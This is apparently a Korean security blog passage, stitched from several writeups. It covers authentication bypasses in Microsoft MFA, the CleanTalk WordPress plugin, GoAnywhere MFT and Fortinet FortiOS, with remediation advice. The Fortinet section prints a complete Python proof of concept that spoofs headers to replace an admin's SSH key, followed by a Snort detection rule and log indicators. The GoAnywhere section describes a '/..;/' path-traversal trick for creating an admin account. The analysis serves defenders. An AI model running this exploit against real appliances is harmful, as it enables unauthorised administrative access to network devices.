- MS 다중인증 환경에서 인증앱을 활용한 다중인증의 경우, 인증 우회 취약점 발견 [1] - Outlook, OneDrive, Teams, Azure Cloud 등 각종 MS 계정에 무단 접근이 가능 - MS에 가입된 유로 계정은 약 4억 개로 공격 성공 시 매우 큰 파장을 일으킬 수 있음
2. 주요내용
- 사용자가 MS 포털에 접속 시 계정과 6자리 코드를 사용해 로그인 시도 > 사용자가 로그인 페이지에 처음 접속하면 세션 식별자 할당 > 계정 정보 입력 후 추가 인증을 요구하며, 6자리 코드를 제공해 인증 과정 마무리
- 한 세션에서 10번 연속 입력을 실패할 경우 계정 잠금 > 연구진은 새 세션을 빠르게 생성한 후 6자리 코드를 대입하는 실험을 진행 > 실험 결과 여러 시도를 어떠한 경고(≒알림) 없이 동시에 실행할 수 있음을 발견
- 인증 앱을 사용한 인증 방법에는 시간 제한이 존재 > 30초 간격으로 새로운 코드가 생성 되도록 하는 것이 일반적 > 그러나, MS 로그인을 테스트한 결과 코드가 약 3분동안 유효한 것으로 확인 > 이는 공격에 성공할 확률이 3% 증가하는 수치*
* 공격자의 입장에서 세션을 24개 생성해 연속적으로 공격을 수행할 경우 70분의 시간을 확보하는 것 * 70분이 지나면 유효한 코드를 입력할 확률이 이미 50%를 넘어감
- 연구원들은 결과를 MS에 제보 > MS는 취약점을 수정한 버전 배포
권고 사항
구분
설명
다중인증 활성화
- 완벽한 안전을 보장하는 기술이 아니지만, 계정 보호에 필수적인 방법 - 다중인증을 사용하여도 100% 안전하지 않으며, 꾸준히 관리해야 함
- 워드프레스 웹사이트에서 스팸을 방지하기 위해 사용되는 플러그인 - 스팸 방지 기능을 제공하는 클라우드 기반 서비스
2. 주요내용 [2]
2.1 CVE-2024-10542
- WordPress CleanTalk 플러그인에서 발생하는 DNS 스푸핑을 통한 인증 우회 취약점 (CVSS: 9.8) > 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화하여 원격 코드를 실행할 수 있음
영향받는 버전 - Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.43.2
- 아래 함수는 토큰을 저장된 API 비교 또는 checkWithoutToken()를 통해 토큰 없이도 작업을 수행할 수 있는지 확인
78 | // Check Access key
79 | if (
80 | ($token === strtolower(md5($apbct->api_key)) ||
81 | $token === strtolower(hash('sha256', $apbct->api_key))) ||
82 | self::checkWithoutToken()
83 | ) {
84 | // Flag to let plugin know that Remote Call is running.
85 | $apbct->rc_running = true;
86 |
87 | $action = 'action__' . $action;
88 |
89 | if ( method_exists(__CLASS__, $action) ) {
- checkWithoutToken()는 발신 IP가 cleantalk.org 에 속하는지 확인 > IP는 사용자 정의 매개 변수인 X-Central-Ip 및 X-Forward-By 헤더 매개 변수로 결정되므로, IP 스푸핑에 취약 > IP 확인 후 strpos()를 사용해 도메인 이름을 확인하는데, 도메인에 'cleantalk.org' 문자열이 포함된 경우 검사를 통과할 수 있어, DNS 스푸핑에 취약
- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)
> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함
영향받는 버전 [3] ① Fortra GoAnywhere MFT 6.x (6.0.1 이상) ② Fortra GoAnywhere MFT 7.x (7.4.1 이전)
2.1 취약점 상세 [4]
- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성
- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생
> 관리자 계정이 생성되었기 때문
> /Dashboard.xhtml 엔드포인트로 리디렉션
> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션
- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출
> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행
> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인
① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션 ② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션
- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용
> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]
> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행
- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)
- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제 - FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시 - FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전 ① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6 ② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6 ③ FortiSwitchManager : 7.0.0 및 7.2.0 * FortiOS version 5.x, 6.x는 영향받지 않음
2.1 공격 원리
- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인
- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정
- 이때, User-Agent 헤더와 Forwarded헤더를 조작
- 공격자의 접근을 위한 로컬 사용자 추가
2.2 취약점 분석
- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결
- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.
- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수
- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출
- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음
2.3 PoC 분석
#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HEADERS = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}
def format_key(key_file):
with open(key_file) as f:
k = f.read().strip()
return(k)
def add_key(target, username, key_file):
key = format_key(key_file)
j = {
"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
args = parser.parse_args()
add_key(args.target, args.username, args.key_file)
- PoC를 확인해보면 다음을 확인해 볼 수 있음
① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인
② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정
3. 대응방안
3.1 서버측면
① 최신 업데이트 적용
- FortiOS : 7.2.2 또는 7.0.7 -FortiProxy : 7.2.1 또는 7.0.7 -FortiSwitchManager : 7.2.1
- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트
② 즉시 보안 업데이트가 어려운 제품 사용자
- HTTP/HTTPS 관리 인터페이스 비활성화
- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고
- 이 후 최신 버전으로 업데이트 필요
3.2 네트워크 측면
① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함
alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)
3.3 공통
① 로그 모니터링
-해당 취약점에 노출되었는지 확인
- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인